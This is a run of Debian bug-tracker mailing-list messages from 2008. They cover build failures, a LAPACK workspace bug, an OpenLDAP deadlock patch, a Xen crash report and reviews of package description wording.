On 08/02/09 00:39 +0200, Kalle Olavi Niemitalo said ... I see amd64 has given these warnings already in ELinks 0.11.3, but there they didn't break the build, because configure was not run with --enable-debug and so it did not add -Werror to $CFLAGS. Enabled debugging because this package is for experimental and features.conf suggested it. I added a patch to modify bittorrent_peer_request to change the id from char to enum bittorrent_message_id. We FTBFS on powerpc[1] and s390[2] otherwise. [1] http://experimental.debian.net/fetch.php?pkg=elinksver=0.12%7E20080127-1arch=powerpcstamp=1202132370file=logas=raw [2] http://experimental.debian.net/fetch.php?pkg=elinksver=0.12%7E20080127-1arch=s390stamp=1202495801file=logas=raw However, I don't have a non-x86 box to test any of these. I suspect FTBFSs may be a frequent occurance with 0.12 because of -Werror (And I suppose -Werror for the unreleased versions of ELinks is present with --enable-debug for a reason). Please try the appended patch. There has been a similar warning in src/network/ssl/socket.c, at the gnutls_transport_set_ptr call. That could also be silenced I picked both the patches but didn't request an upload yet. I will try and find someone who can do these builds and then request for an upload. Thank you. Giridhar -- Y Giridhar Appaji Nag | http://www.appaji.net/ signature.asc Description: Digital signature
Bug#464965: debian-installer: System fails to boot after installation (Newworld powerbook)
On Sunday 10 February 2008, Peter De Schrijver wrote: The system fails to boot after installation. The generated initramfs image is corrupted (CRC error). The initrd size is too small for initramfs image. What exactly do you mean by initrd size is too small for initramfs image? From your description this looks like an initramfs-tools issue rather than a D-I issue. Or do you mean the initrd-size boot parameter? I wasn't aware that we still use that anywhere. If that's it, does it boot if you just remove it? If not, what's the current size and what should it be? Finally, please provide some basic info like what type of machine this was and exactly what image you used (etch, weekly, daily; installation method, ...). This report is fairly useless (and I think I can say that to you as you should know better). Cheers, FJP
Bug#464966: 915resolution is obsolete
Package: discover-data Version: 2.2008.01.12 Severity: normal discover-pkginstall wants to install 915resolution for my video card. This package is obsolete with the X server for this card; I don't need it. Suggest removing it from the package list, at least for this card and others that are supported by the xserver-xorg-video-intel package. -- Package-specific info: lspci: 00:00.0 Host bridge [0600]: Intel Corporation Mobile 915GM/PM/GMS/910GML Express Processor to DRAM Controller [8086:2590] (rev 04) 00:02.0 VGA compatible controller [0300]: Intel Corporation Mobile 915GM/GMS/910GML Express Graphics Controller [8086:2592] (rev 04) 00:02.1 Display controller [0380]: Intel Corporation Mobile 915GM/GMS/910GML Express Graphics Controller [8086:2792] (rev 04) 00:1b.0 Audio device [0403]: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) High Definition Audio Controller [8086:2668] (rev 04) 00:1d.0 USB Controller [0c03]: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) USB UHCI #1 [8086:2658] (rev 04) 00:1d.1 USB Controller [0c03]: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) USB UHCI #2 [8086:2659] (rev 04) 00:1d.2 USB Controller [0c03]: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) USB UHCI #3 [8086:265a] (rev 04) 00:1d.3 USB Controller [0c03]: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) USB UHCI #4 [8086:265b] (rev 04) 00:1d.7 USB Controller [0c03]: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) USB2 EHCI Controller [8086:265c] (rev 04) 00:1e.0 PCI bridge [0604]: Intel Corporation 82801 Mobile PCI Bridge [8086:2448] (rev d4) 00:1f.0 ISA bridge [0601]: Intel Corporation 82801FBM (ICH6M) LPC Interface Bridge [8086:2641] (rev 04) 00:1f.1 IDE interface [0101]: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) IDE Controller [8086:266f] (rev 04) 00:1f.2 IDE interface [0101]: Intel Corporation 82801FBM (ICH6M) SATA Controller [8086:2653] (rev 04) 00:1f.3 SMBus [0c05]: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) SMBus Controller [8086:266a] (rev 04) 06:03.0 CardBus bridge [0607]: Ricoh Co Ltd RL5c476 II [1180:0476] (rev b3) 06:03.1 FireWire (IEEE 1394) [0c00]: Ricoh Co Ltd R5C552 IEEE 1394 Controller [1180:0552] (rev 08) 06:03.2 SD Host controller [0805]: Ricoh Co Ltd R5C822 SD/SDIO/MMC/MS/MSPro Host Adapter [1180:0822] (rev 17) 06:03.3 System peripheral [0880]: Ricoh Co Ltd R5C592 Memory Stick Bus Host Adapter [1180:0592] (rev 08) 06:03.4 System peripheral [0880]: Ricoh Co Ltd xD-Picture Card Controller [1180:0852] (rev 03) 06:04.0 Ethernet controller [0200]: Realtek Semiconductor Co., Ltd. RTL-8139/8139C/8139C+ [10ec:8139] (rev 10) 06:05.0 Network controller [0280]: Intel Corporation PRO/Wireless 2915ABG Network Connection [8086:4223] (rev 05) lsusb: Bus 001 Device 001: ID : Bus 002 Device 001: ID : Bus 003 Device 001: ID : Bus 003 Device 004: ID 08ff:2580 AuthenTec, Inc. Bus 004 Device 001: ID : Bus 005 Device 001: ID : loaded modules: 8086:2590 intel_agp 8086:2668 snd_hda_intel 8086:2658 uhci_hcd 8086:2659 uhci_hcd 8086:265a uhci_hcd 8086:265b uhci_hcd 8086:265c ehci_hcd 8086:266f piix 8086:2653 ahci 8086:266a i2c_i801 1180:0476 yenta_socket 1180:0552 firewire_ohci 1180:0822 sdhci 10ec:8139 8139too 8086:4223 ipw2200 X setting: -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (500, 'stable'), (1, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.24-1-686 (SMP w/1 CPU core) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash discover-data depends on no packages. Versions of packages discover-data recommends: ii pciutils 1:2.2.9-2 Linux PCI Utilities -- no debconf information -- see shy jo signature.asc Description: Digital signature
Bug#464944: liblapack3gf: dgesdd reports wrong work space size for one svd code path
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Dirk Eddelbuettel wrote: [snip] I attach an example program below. It runs as follows [EMAIL PROTECTED]:~/src/progs/C ./lapack_dgesdd info 0 tmp 1.00 != recd 603 1.725883,0.321633,0.031039,0.001979,0.88,0.03,0.00,0.00,0.00 Kappa == max(s)/min(s) == 4.861940e+11 [EMAIL PROTECTED]:~/src/progs/C and works because I override the faulty output from the first call to DGESDD. Once you comment that out, it terminates with a similar error as R: [EMAIL PROTECTED]:~/src/progs/C ./lapack_dgesdd info 0 tmp 1.00 != recd 603 ** On entry to DGEBRD parameter number 10 had an illegal value The program is below. The key overrride line is lwork = recsize; which 'fixes' things, ie suppresses the bug. Else it rears its head. It appears that this bug is a duplicate of #328890 which was filed in 2005 against lapack3-dev but never (formally?) addressed. However, it also appears to somehow be fixed in the version of lapack3-dev in experimental now. When I comment out the key line in Dirk's test, I get [EMAIL PROTECTED]:/tmp/Dirk$ gcc -O3 -Wall -o lapack_dgesdd lapack_dgesdd.c -llapack [EMAIL PROTECTED]:/tmp/Dirk$ ./lapack_dgesdd info 0 tmp 603.00 != recd 603 1.725883,0.321633,0.031039,0.001979,0.88,0.03,0.00,0.00,0.00 Kappa == max(s)/min(s) == 4.861929e+11 I am sorry that my knowledge in this area is too limited to isolate what change in the code would lead to this change in the behavior, but hopefully someone else can. Thanks, Ben -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.6 (GNU/Linux) iD8DBQFHroZMzQDSXIcN85kRAlGUAJ48bQi0ixjdORGLkCPtFb7DulsMMgCaAxop pnob8kAuAfvCXhwfJsLs328= =CZNO -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464967: iceweasel does not run on monochrome displays
Package: iceweasel Version: 2.0.0.12-1 Severity: important collin:~ firefox Error: Cairo 1.4.14 does not yet support the requested image format: Depth: 1 Alpha mask: 0x Red mask: 0x Green mask: 0x Blue mask: 0x Please file an enhancement request (quoting the above) at: http://bugs.freedesktop.org/enter_bug.cgi?product=cairo firefox-bin: /home/dajobe/dev/debian/cairo/cairo-1.4.14/src/cairo-image-surface.c:199: _cairo_format_from_pixman_format: Assertion `NOT_REACHED' failed. Abort best regards, Stefan Schmidt on NCD16e XTerminal -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable') Architecture: i386 (i686) Kernel: Linux 2.6.23-1-686 (SMP w/1 CPU core) Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968) Shell: /bin/sh linked to /bin/bash Versions of packages iceweasel depends on: ii debianutils2.28.3Miscellaneous utilities specific t ii fontconfig 2.5.0-2 generic font configuration library ii libatk1.0-01.20.0-1 The ATK accessibility toolkit ii libc6 2.7-6 GNU C Library: Shared libraries ii libcairo2 1.4.14-1 The Cairo 2D vector graphics libra ii libfontconfig1 2.5.0-2 generic font configuration library ii libfreetype6 2.3.5-1+b1FreeType 2 font engine, shared lib ii libgcc11:4.3-20080202-1 GCC support library ii libglib2.0-0 2.14.6-1 The GLib library of C routines ii libgtk2.0-02.12.7-1 The GTK+ graphical user interface ii libhunspell-1.1-0 1.1.9-1 spell checker and morphological an ii libjpeg62 6b-14 The Independent JPEG Group's JPEG ii libnspr4-0d4.7.0~1.9b1-2 NetScape Portable Runtime Library ii libnss3-1d 3.12.0~1.9b1-2Network Security Service libraries ii libpango1.0-0 1.18.4-1 Layout and rendering of internatio ii libpng12-0 1.2.15~beta5-3PNG library - runtime ii libstdc++6 4.3-20080202-1The GNU Standard C++ Library v3 ii libx11-6 2:1.0.3-7 X11 client-side library ii libxft22.1.12-2 FreeType-based font drawing librar ii libxinerama1 1:1.0.2-1 X11 Xinerama extension library ii libxp6 1:1.0.0.xsf1-1X Printing Extension (Xprint) clie ii libxrender11:0.9.4-1 X Rendering Extension client libra ii libxt6 1:1.0.5-3 X11 toolkit intrinsics library ii procps 1:3.2.7-6 /proc file system utilities ii psmisc 22.6-1Utilities that use the proc filesy ii zlib1g 1:1.2.3.3.dfsg-11 compression library - runtime iceweasel recommends no packages. -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#451570: Two issues
FWIW, I talked to Ken (Chung-chieh) Shan about this issue just now, and I agree there may be different issues: the problem I originally reported was an almost immediate lockup on starting X (if the virtual size was too big and without the NoAccel option), while Ken still observes a lockup when he logs in, when 'mail-notification' starts and puts up a pop-up window. (I don't use that tool, so I wouldn't have seen that issue.) (We also have different hardware: an HP nc6220 for me and a Lenovo ThinkPad X60 for Ken.) Peace, Dylan -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464024: Fwd: (ITS#5362) syncrepl provider kills consumer by sending truncated cookie
Forwarding here for reference. ---BeginMessage--- [EMAIL PROTECTED] wrote: Full_Name: Quanah Gibson-Mount Version: 2.4.7 OS: URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (24.23.156.219) As reported in the Debian BTS, and Howard has seen this as well: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=464024 I saw a similar problem while investigating ITS#5332. While ldapadd'ing 1000 entries I saw several instances where a cookie was sent without a CSN. It didn't result in a crash though. After sprinkling some assert's in the code I think I've identified the problem, and the current code in HEAD no longer triggers any of the assert's that I used. But I'm not certain that the behavior I was chasing is the same as in this bug report. Please test and report your results. -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sunhttp://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/ ---End Message---
Bug#340601: [Pkg-openldap-devel] Bug#340601: ldapsearch hangs when using ldap for /etc/hosts
Steve Langasek [EMAIL PROTECTED] writes: tags 340601 patch thanks Here is a patch that fixes the deadlock for me. Fellow maintainers, is this ok to commit to the package, or would you prefer I clean it up first so that it's suitable for upstream submission? I think it's fine to commit to the package for right now. I'll go file an upstream bug about the issue so that they're aware of it; my guess is that they may have other ideas for how to fix it. -- Russ Allbery ([EMAIL PROTECTED]) http://www.eyrie.org/~eagle/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#340601: ldapsearch hangs when using ldap for /etc/hosts
tags 340601 patch
thanks
Here is a patch that fixes the deadlock for me. Fellow maintainers, is this
ok to commit to the package, or would you prefer I clean it up first so that
it's suitable for upstream submission?
--
Steve Langasek Give me a lever long enough and a Free OS
Debian Developer to set it on, and I can move the world.
Ubuntu Developerhttp://www.debian.org/
[EMAIL PROTECTED] [EMAIL PROTECTED]
Index: debian/patches/series
===
--- debian/patches/series (revision 1086)
+++ debian/patches/series (working copy)
@@ -12,3 +12,4 @@
entryCSN-backwards-compatibility
slapd-tlsverifyclient-default -p0
gnutls-altname-nulterminated -p0
+getaddrinfo-is-threadsafe
Index: debian/patches/getaddrinfo-is-threadsafe
===
--- debian/patches/getaddrinfo-is-threadsafe (revision 0)
+++ debian/patches/getaddrinfo-is-threadsafe (revision 0)
@@ -0,0 +1,114 @@
+Author: Steve Langasek [EMAIL PROTECTED]
+
+OpenLDAP upstream conservatively assumes that certain resolver functions
+(getaddrinfo, getnameinfo, res_query, dn_expand) are not re-entrant; but we
+know that the glibc implementations of these functions are thread-safe, so
+we should bypass the use of this mutex. This fixes a locking problem when
+an application uses libldap and libnss-ldap is also used for hosts
+resolution.
+
+Closes Debian bug #340601.
+
+Not suitable for forwarding upstream; might be made suitable by adding a
+configure-time check for glibc and disabling the mutex only on known
+thread-safe implementations.
+
+Index: trunk/libraries/libldap/dnssrv.c
+===
+--- trunk.orig/libraries/libldap/dnssrv.c
trunk/libraries/libldap/dnssrv.c
+@@ -202,10 +202,6 @@
+ }
+ sprintf(request, _ldap._tcp.%s, domain);
+
+-#ifdef LDAP_R_COMPILE
+-ldap_pvt_thread_mutex_lock(ldap_int_resolv_mutex);
+-#endif
+-
+ rc = LDAP_UNAVAILABLE;
+ #ifdef NS_HFIXEDSZ
+ /* Bind 8/9 interface */
+@@ -305,9 +301,6 @@
+ *list = hostlist;
+
+ out:
+-#ifdef LDAP_R_COMPILE
+-ldap_pvt_thread_mutex_unlock(ldap_int_resolv_mutex);
+-#endif
+
+ if (request != NULL) {
+ LDAP_FREE(request);
+Index: trunk/libraries/libldap/ldap-int.h
+===
+--- trunk.orig/libraries/libldap/ldap-int.h
trunk/libraries/libldap/ldap-int.h
+@@ -388,7 +388,9 @@
+ #define LDAP_TRASH(ld) ( (ld)-ld_valid = LDAP_TRASHED_SESSION )
+
+ #ifdef LDAP_R_COMPILE
++#if !defined(HAVE_GETADDRINFO) || !defined(HAVE_GETHOSTBYADDR_R) || !defined(HAVE_GETHOSTBYNAME_R)
+ LDAP_V ( ldap_pvt_thread_mutex_t ) ldap_int_resolv_mutex;
++#endif
+
+ #ifdef HAVE_CYRUS_SASL
+ LDAP_V( ldap_pvt_thread_mutex_t ) ldap_int_sasl_mutex;
+Index: trunk/libraries/libldap/os-ip.c
+===
+--- trunk.orig/libraries/libldap/os-ip.c
trunk/libraries/libldap/os-ip.c
+@@ -471,17 +471,8 @@
+ hints.ai_socktype = socktype;
+ snprintf(serv, sizeof serv, %d, port );
+
+-#ifdef LDAP_R_COMPILE
+- /* most getaddrinfo(3) use non-threadsafe resolver libraries */
+- ldap_pvt_thread_mutex_lock(ldap_int_resolv_mutex);
+-#endif
+-
+ err = getaddrinfo( host, serv, hints, res );
+
+-#ifdef LDAP_R_COMPILE
+- ldap_pvt_thread_mutex_unlock(ldap_int_resolv_mutex);
+-#endif
+-
+ if ( err != 0 ) {
+ osip_debug(ld, ldap_connect_to_host: getaddrinfo failed: %s\n,
+ AC_GAI_STRERROR(err), 0, 0);
+Index: trunk/libraries/libldap/util-int.c
+===
+--- trunk.orig/libraries/libldap/util-int.c
trunk/libraries/libldap/util-int.c
+@@ -57,7 +57,9 @@
+
+ #else
+ # include ldap_pvt_thread.h
++#if !defined(HAVE_GETADDRINFO) || !defined(HAVE_GETHOSTBYADDR_R) || !defined(HAVE_GETHOSTBYNAME_R)
+ ldap_pvt_thread_mutex_t ldap_int_resolv_mutex;
++#endif
+
+ # if (defined( HAVE_CTIME_R ) || defined( HAVE_REENTRANT_FUNCTIONS)) \
+ defined( CTIME_R_NARGS )
+@@ -224,13 +226,7 @@
+ int rc;
+ #if defined( HAVE_GETNAMEINFO )
+
+-#if defined( LDAP_R_COMPILE )
+- ldap_pvt_thread_mutex_lock( ldap_int_resolv_mutex );
+-#endif
+ rc = getnameinfo( sa, len, name, namelen, NULL, 0, 0 );
+-#if defined( LDAP_R_COMPILE )
+- ldap_pvt_thread_mutex_unlock( ldap_int_resolv_mutex );
+-#endif
+ if ( rc ) *err = (char *)AC_GAI_STRERROR( rc );
+ return rc;
+
+@@ -406,7 +402,9 @@
+ #if !defined( USE_CTIME_R ) !defined( HAVE_REENTRANT_FUNCTIONS )
+ ldap_pvt_thread_mutex_init( ldap_int_ctime_mutex );
+ #endif
++#if !defined(HAVE_GETADDRINFO) || !defined(HAVE_GETHOSTBYADDR_R) || !defined(HAVE_GETHOSTBYNAME_R)
+ ldap_pvt_thread_mutex_init( ldap_int_resolv_mutex );
++#endif
+
+ #ifdef HAVE_CYRUS_SASL
+ ldap_pvt_thread_mutex_init( ldap_int_sasl_mutex );
Bug#464968: add support for non-free firmware packages
Package: discover-data Version: 2.2008.01.12 Severity: normal There are several firmware packages in non-free. I suspect there will be more soon, given all the ethernet driver firmware that has been removed from the kernel lately. These packages are low-hanging fruit that it would be easy for discover to support, since all it has to do is install them, no module-assistant complications involved. I've listed the modules that use each firmware; you can figure out what PCI ids or USB devices these kernel modules support by looking at the modules.alias file. package kernel modules firmware-iwlwifiiwl3945 iwl4965 firmware-qlogic qla2xxx firmware-ralink rt61pci rt73usb zd1211-firmware zd1211rw bluez-firmware bcm203x atmel-firmware atmel atmel_cs atmel_pci I suggest adding all of these to the database. I also think we need to move on with getting d-i to use discover-pkginstall, sooner rather than later. -- Package-specific info: lspci: 00:00.0 Host bridge [0600]: Intel Corporation Mobile 915GM/PM/GMS/910GML Express Processor to DRAM Controller [8086:2590] (rev 04) 00:02.0 VGA compatible controller [0300]: Intel Corporation Mobile 915GM/GMS/910GML Express Graphics Controller [8086:2592] (rev 04) 00:02.1 Display controller [0380]: Intel Corporation Mobile 915GM/GMS/910GML Express Graphics Controller [8086:2792] (rev 04) 00:1b.0 Audio device [0403]: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) High Definition Audio Controller [8086:2668] (rev 04) 00:1d.0 USB Controller [0c03]: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) USB UHCI #1 [8086:2658] (rev 04) 00:1d.1 USB Controller [0c03]: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) USB UHCI #2 [8086:2659] (rev 04) 00:1d.2 USB Controller [0c03]: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) USB UHCI #3 [8086:265a] (rev 04) 00:1d.3 USB Controller [0c03]: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) USB UHCI #4 [8086:265b] (rev 04) 00:1d.7 USB Controller [0c03]: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) USB2 EHCI Controller [8086:265c] (rev 04) 00:1e.0 PCI bridge [0604]: Intel Corporation 82801 Mobile PCI Bridge [8086:2448] (rev d4) 00:1f.0 ISA bridge [0601]: Intel Corporation 82801FBM (ICH6M) LPC Interface Bridge [8086:2641] (rev 04) 00:1f.1 IDE interface [0101]: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) IDE Controller [8086:266f] (rev 04) 00:1f.2 IDE interface [0101]: Intel Corporation 82801FBM (ICH6M) SATA Controller [8086:2653] (rev 04) 00:1f.3 SMBus [0c05]: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) SMBus Controller [8086:266a] (rev 04) 06:03.0 CardBus bridge [0607]: Ricoh Co Ltd RL5c476 II [1180:0476] (rev b3) 06:03.1 FireWire (IEEE 1394) [0c00]: Ricoh Co Ltd R5C552 IEEE 1394 Controller [1180:0552] (rev 08) 06:03.2 SD Host controller [0805]: Ricoh Co Ltd R5C822 SD/SDIO/MMC/MS/MSPro Host Adapter [1180:0822] (rev 17) 06:03.3 System peripheral [0880]: Ricoh Co Ltd R5C592 Memory Stick Bus Host Adapter [1180:0592] (rev 08) 06:03.4 System peripheral [0880]: Ricoh Co Ltd xD-Picture Card Controller [1180:0852] (rev 03) 06:04.0 Ethernet controller [0200]: Realtek Semiconductor Co., Ltd. RTL-8139/8139C/8139C+ [10ec:8139] (rev 10) 06:05.0 Network controller [0280]: Intel Corporation PRO/Wireless 2915ABG Network Connection [8086:4223] (rev 05) lsusb: Bus 001 Device 001: ID : Bus 002 Device 001: ID : Bus 003 Device 001: ID : Bus 003 Device 004: ID 08ff:2580 AuthenTec, Inc. Bus 004 Device 001: ID : Bus 005 Device 001: ID : loaded modules: 8086:2590 intel_agp 8086:2668 snd_hda_intel 8086:2658 uhci_hcd 8086:2659 uhci_hcd 8086:265a uhci_hcd 8086:265b uhci_hcd 8086:265c ehci_hcd 8086:266f piix 8086:2653 ahci 8086:266a i2c_i801 1180:0476 yenta_socket 1180:0552 firewire_ohci 1180:0822 sdhci 10ec:8139 8139too 8086:4223 ipw2200 X setting: -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (500, 'stable'), (1, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.24-1-686 (SMP w/1 CPU core) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash discover-data depends on no packages. Versions of packages discover-data recommends: ii pciutils 1:2.2.9-2 Linux PCI Utilities -- no debconf information -- see shy jo signature.asc Description: Digital signature
Bug#464969: xen-hypervisor-3.2-1-i386: Linux mmap()/vmsplice() exploit causes memory map corruption in hypervisor regardless of domain privilege
Package: xen-hypervisor-3.2-1-i386 Version: 3.2-1 Severity: critical Tags: security Justification: DoS of entire system regardless of privilege When running the exploit listed in bug 464953 [1], Xen's memory state becomes corrupted and the hypervisor eventually crashes, taking all of the domU's with it. As such, this breaks operational behaviour, so I have marked this as critical. [1] http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=464953 -- System Information: Debian Release: lenny/sid APT prefers testing APT policy: (500, 'testing') Architecture: i386 (i686) Kernel: Linux 2.6.18-4-xen-686 (SMP w/4 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464857: ITP: prima -- is an extensible Perl toolkit for multi-platform GUI development
Quoting Bas Zoetekouw ([EMAIL PROTECTED]): Package: wnpp Severity: wishlist Owner: Bas Zoetekouw [EMAIL PROTECTED] * Package name: prima Version : 1.24 Upstream Author : Dmitry Karasik [EMAIL PROTECTED], Anton Berezin [EMAIL PROTECTED], Vadim Belman [EMAIL PROTECTED] * URL : http://www.prima.eu.org/, http://search.cpan.org/~karasik/Prima/ * License : BSDish Programming Lang: perl Description : an extensible Perl toolkit for multi-platform GUI development multi-platform GUI development Perl toolkit seems to better fit the Developers Reference recommendations. signature.asc Description: Digital signature
Bug#464863: ITP: qca2-plugin-cyrus-sasl -- SASL support for the Qt Cryptographic Architecture
Quoting Matthew Rosewarne ([EMAIL PROTECTED]): Package: wnpp Severity: wishlist X-Debbugs-CC: [EMAIL PROTECTED] Package name: qca2-plugin-cyrus-sasl Version: 2.0.0~beta3 Upstream Author: Justin Karneges [EMAIL PROTECTED] URL: http://delta.affinix.com/qca/ License: LGPL Description: SASL support for the Qt Cryptographic Architecture I suggest removing the extra capitalization for cryptographic and architecture. signature.asc Description: Digital signature
Bug#464901: ITP: pcre-light -- a lightweight GHC library for Perl 5 compatible regular expressions
Quoting Recai Oktaş ([EMAIL PROTECTED]): Package: wnpp Severity: wishlist Owner: Recai Oktaş [EMAIL PROTECTED] * Package name: pcre-light Version : 0.3.1 Upstream Author : Don Stewart [EMAIL PROTECTED] * URL : http://www.example.org/ * License : BSD Programming Lang: Haskell Description : a lightweight GHC library for Perl 5 compatible regular expressions Being lecc cryptic would help, here. I suggest expanding GHC if possible, at the expense of Perl 5 lightweight and/or compatible. signature.asc Description: Digital signature
Bug#464944: liblapack3gf: dgesdd reports wrong work space size for one svd code path
On 10 February 2008 at 00:06, Ben Goodrich wrote: | -BEGIN PGP SIGNED MESSAGE- | Hash: SHA1 | | Dirk Eddelbuettel wrote: | | [snip] | | I attach an example program below. It runs as follows | | [EMAIL PROTECTED]:~/src/progs/C ./lapack_dgesdd | info 0 tmp 1.00 != recd 603 | 1.725883,0.321633,0.031039,0.001979,0.88,0.03,0.00,0.00,0.00 | Kappa == max(s)/min(s) == 4.861940e+11 | [EMAIL PROTECTED]:~/src/progs/C | | and works because I override the faulty output from the first call to | DGESDD. Once you comment that out, it terminates with a similar error as R: | | [EMAIL PROTECTED]:~/src/progs/C ./lapack_dgesdd | info 0 tmp 1.00 != recd 603 | ** On entry to DGEBRD parameter number 10 had an illegal value | | The program is below. The key overrride line is |lwork = recsize; | which 'fixes' things, ie suppresses the bug. Else it rears its head. | | It appears that this bug is a duplicate of #328890 which was filed in | 2005 against lapack3-dev but never (formally?) addressed. However, it Indeed, well spotted. | also appears to somehow be fixed in the version of lapack3-dev in | experimental now. When I comment out the key line in Dirk's test, I get Ah, didn't look there myself. Yes, and this is Lapack 3.1 in experimental, and from I've seen the Lapack that R ships is also 3.1 -- so my vote would be to migrate this from experimental to unstable. | [EMAIL PROTECTED]:/tmp/Dirk$ gcc -O3 -Wall -o lapack_dgesdd | lapack_dgesdd.c -llapack | [EMAIL PROTECTED]:/tmp/Dirk$ ./lapack_dgesdd | info 0 tmp 603.00 != recd 603 | 1.725883,0.321633,0.031039,0.001979,0.88,0.03,0.00,0.00,0.00 | Kappa == max(s)/min(s) == 4.861929e+11 Nice -- the 603 we're expecting and getting with R's lapack. | I am sorry that my knowledge in this area is too limited to isolate what | change in the code would lead to this change in the behavior, but | hopefully someone else can. That's no excuse. I simply spent most of the day running through the code getting mad that I couldn't nail it down :) Perseverance eventually payed off. Thanks again for the bug report and the follow-up. I'll let Camm take it from here. Dirk | | Thanks, | Ben | | -BEGIN PGP SIGNATURE- | Version: GnuPG v1.4.6 (GNU/Linux) | | iD8DBQFHroZMzQDSXIcN85kRAlGUAJ48bQi0ixjdORGLkCPtFb7DulsMMgCaAxop | pnob8kAuAfvCXhwfJsLs328= | =CZNO | -END PGP SIGNATURE- -- Three out of two people have difficulties with fractions. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464957: ITP: html-xml-utils -- manipulate HTML and XML files
Am Sonntag, den 10.02.2008, 04:41 +0100 schrieb Frans Pop: Daniel Leidert wrote: A number of simple utilities for manipulating HTML and XML files. Are all these intended to be command line utilities? Yes. If so, some of them seem to have names that are extremely generic and could therefore easily lead to confusion. That's true and a problem, I currently try to workaround. There are already two existing conflicts (htmlclean, extract) and these generic names might generate more issues in the future. So I've chosen to give all programs a w3c_ prefix. Regards, Daniel -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464957: ITP: html-xml-utils -- manipulate HTML and XML files
Quoting Daniel Leidert ([EMAIL PROTECTED]): Package: wnpp Severity: wishlist Owner: Daniel Leidert [EMAIL PROTECTED] -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 * Package name: html-xml-utils Version : 4.4 Upstream Author : Bert Bos [EMAIL PROTECTED] * URL : http://www.w3.org/Tools/HTML-XML-utils/ * License : W3C Software License (v20021231) Programming Lang: C Description : manipulate HTML and XML files The general style recommended by the Developers Reference is avoiding verb sentences in synopsis. May I suggest: HTML and XML manipulation utilities signature.asc Description: Digital signature
Bug#464863: ITP: qca2-plugin-cyrus-sasl -- SASL support for the Qt Cryptographic Architecture
On Sun, Feb 10, 2008 at 06:42:13AM +0100, Christian Perrier wrote: Quoting Matthew Rosewarne ([EMAIL PROTECTED]): Package: wnpp Severity: wishlist X-Debbugs-CC: [EMAIL PROTECTED] Package name: qca2-plugin-cyrus-sasl Version: 2.0.0~beta3 Upstream Author: Justin Karneges [EMAIL PROTECTED] URL: http://delta.affinix.com/qca/ License: LGPL Description: SASL support for the Qt Cryptographic Architecture I suggest removing the extra capitalization for cryptographic and architecture. Qt Cryptographic Architecture appears to be a proper name for an API. -- Steve Langasek Give me a lever long enough and a Free OS Debian Developer to set it on, and I can move the world. Ubuntu Developerhttp://www.debian.org/ [EMAIL PROTECTED] [EMAIL PROTECTED] -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464944: liblapack3gf: dgesdd reports wrong work space size for one svd code path
